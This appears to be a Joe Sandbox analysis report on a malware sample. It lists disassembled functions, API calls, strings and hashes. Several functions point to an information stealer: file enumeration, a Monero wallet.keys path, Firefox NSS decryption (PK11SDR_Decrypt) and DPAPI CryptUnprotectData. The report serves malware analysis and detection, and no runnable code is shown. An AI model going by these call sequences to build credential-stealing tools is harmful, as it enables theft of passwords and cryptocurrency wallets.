API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: a8c26bf9c222722f9733261124700bd06147e29a84c73b2050d1b548f2ed46e5
Instruction ID: fcc18f851d4e408d72bb13cf9a96599334559254948cd3493dd0698e51ff9b27
Opcode Fuzzy Hash: a8c26bf9c222722f9733261124700bd06147e29a84c73b2050d1b548f2ed46e5
Instruction Fuzzy Hash: 245175B1940218ABC724EB70EC89FED737CAF58700F404698F61A93084EB759BC49FA1

Function 00F1ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F1ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00F1ED55
StrCmpCA.SHLWAPI(?,00F31538), ref: 00F1EDAB
StrCmpCA.SHLWAPI(?,00F3153C), ref: 00F1EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00F1F2AE
FindClose.KERNEL32(000000FF), ref: 00F1F2C3

Strings

%s\*.*, xrefs: 00F1ED32

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 61bf1b3ed861916f754f5647336f6803a623b754a0bdbc9f1f82409ff1332c1f
Instruction ID: d19caebefc78e2f347228f3be20b4d2681ab5861314a6d30e420acb4b4be6539
Opcode Fuzzy Hash: 61bf1b3ed861916f754f5647336f6803a623b754a0bdbc9f1f82409ff1332c1f
Instruction Fuzzy Hash: C8E1C3729111289BDB54FB60EC52EEE7338AF54300F4045A9F50A66092EF346FDADF51

Function 00F1DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00F30C2E), ref: 00F1DE5E
StrCmpCA.SHLWAPI(?,00F314C8), ref: 00F1DEAE
StrCmpCA.SHLWAPI(?,00F314CC), ref: 00F1DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00F1E3E0
FindClose.KERNEL32(000000FF), ref: 00F1E3F2

Strings

\*.*, xrefs: 00F1DE26

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: cb0cb017d3a4fcc6d9f915c6e20a7118d5e08246bef757816ae5767012a946a1
Instruction ID: cbfc0f9f16c67bafde3cdee774b41b4b0f810d7b29e2196a79aa9ae603f01c8e
Opcode Fuzzy Hash: cb0cb017d3a4fcc6d9f915c6e20a7118d5e08246bef757816ae5767012a946a1
Instruction Fuzzy Hash: 1EF181718141289BDB19EB60EC95EEE7338BF58300F4045D9F51A66091EF346F8ADF62

Function 012F1446 Relevance: 14.1, Strings: 10, Instructions: 1581COMMON

Download Yara Rule

Strings

eToR, xrefs: 012F1A7E
B_+], xrefs: 012F1670
t/}o, xrefs: 012F1E17
tIj, xrefs: 012F1E94
FK}, xrefs: 012F15D4
'=-g, xrefs: 012F2055
'P}l, xrefs: 012F1B98
bMc, xrefs: 012F1F82
M)ww, xrefs: 012F1FFB
!3w, xrefs: 012F14CC

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: FK}$!3w$'=-g$'P}l$B_+]$M)ww$bMc$eToR$t/}o$tIj
API String ID: 0-401027072
Opcode ID: c42acb62c7373666419031f99c2f5f22f9618fd9b0a40539398d15a5ac14abd9
Instruction ID: a90c217afe7e705982733ba5a6fecba29c73ebacb64df347b2740e3fe6a0778b
Opcode Fuzzy Hash: c42acb62c7373666419031f99c2f5f22f9618fd9b0a40539398d15a5ac14abd9
Instruction Fuzzy Hash: A4B214F390C2049FE3046F29EC8567AFBE9EF94720F1A493DEAC483744EA7558058697

Function 012F2F5A Relevance: 14.1, Strings: 10, Instructions: 1567COMMON

Download Yara Rule

Strings

gW~, xrefs: 012F33A8
fX_, xrefs: 012F31C9
_,e>, xrefs: 012F34A9
'0ku, xrefs: 012F32B0
qw., xrefs: 012F4263
cqx=, xrefs: 012F3121
h*>, xrefs: 012F3082
/, xrefs: 012F3932
'0ku, xrefs: 012F32BD
J??, xrefs: 012F34B8

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '0ku$'0ku$_,e>$cqx=$fX_$gW~$h*>$qw.$ /$J??
API String ID: 0-978747305
Opcode ID: f708b2d56810f65b2e9fe82827865238e156ceeb9891772fc7e22c9c27133cee
Instruction ID: 7b76baded4253c99749e6b3ecc0623d23a4cbdae3a9cb617c2de03223edd661a
Opcode Fuzzy Hash: f708b2d56810f65b2e9fe82827865238e156ceeb9891772fc7e22c9c27133cee
Instruction Fuzzy Hash: FFB216F3A0C2009FE304AE29EC8577ABBE5EF94720F1A893DE6C583744E63558058797

Function 00F1C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00F1C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00F1C87C
PK11_GetInternalKeySlot.NSS3 ref: 00F1C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00F1C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00F1C8EB
lstrcat.KERNEL32(?,00F30B46), ref: 00F1C943
lstrcat.KERNEL32(?,00F30B47), ref: 00F1C957
PK11_FreeSlot.NSS3(?), ref: 00F1C961
lstrcat.KERNEL32(?,00F30B4E), ref: 00F1C978

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 1674f05b8fb6ae33b49ec02f02f2f4c563101e459d6ab6df523f8b66b34b3019
Instruction ID: 20aca9a7938c98e3b60ca5d34bf7a835f3c16c2c99d5e2899e22cd4427782879
Opcode Fuzzy Hash: 1674f05b8fb6ae33b49ec02f02f2f4c563101e459d6ab6df523f8b66b34b3019
Instruction Fuzzy Hash: 98415E75D4421ADBDB14DF90DD89BEEBBB8AF84304F1042A8E509A7280D7705A84DF91

Function 012F4A1E Relevance: 9.2, Strings: 6, Instructions: 1665COMMON

Download Yara Rule

Strings

ho, xrefs: 012F5AE3
77M, xrefs: 012F4F83
;55!, xrefs: 012F58B3
TT~_, xrefs: 012F574F
5w, xrefs: 012F5CAF
m)W, xrefs: 012F551F

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 77M$;55!$TT~_$ho$m)W$5w
API String ID: 0-2073227367
Opcode ID: 4d1df4214675beab850dbcb746e24e423e52b8e1c726850e980dba08f600cf87
Instruction ID: 10d815cc6ec0eec4f66f5cd31c82386915962ab442a5f9f23810b693745819f5
Opcode Fuzzy Hash: 4d1df4214675beab850dbcb746e24e423e52b8e1c726850e980dba08f600cf87
Instruction Fuzzy Hash: 13B24BF3A08214AFE3046E2DEC8567ABBE9EFD4720F1A853DEAC4C7744E53558018796

Function 00F17240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00F1724D
RtlAllocateHeap.NTDLL(00000000), ref: 00F17254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00F17281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00F172A4
LocalFree.KERNEL32(?), ref: 00F172AE

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 24d951078b9d7084c13002c63afb33f51bb3bf8caebbdbe25246ce5b74ce3c13
Instruction ID: 31473e1bef5f0193f3a2d13a83acaeb46e067abf9052c3481c83677d4f922fde
Opcode Fuzzy Hash: 24d951078b9d7084c13002c63afb33f51bb3bf8caebbdbe25246ce5b74ce3c13
Instruction Fuzzy Hash: DD014075A80308FBDB24DBD4DD45F9D77B8AB44701F104154FB15AB2C4DA70AA418B64

Function 012F9B02 Relevance: 6.6, Strings: 4, Instructions: 1594COMMON

Download Yara Rule

Strings

o$|o, xrefs: 012FA588
3y`, xrefs: 012FA61D
Q]?g, xrefs: 012F9DAB
(0Ok, xrefs: 012F9D82

Memory Dump Source

Source File: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
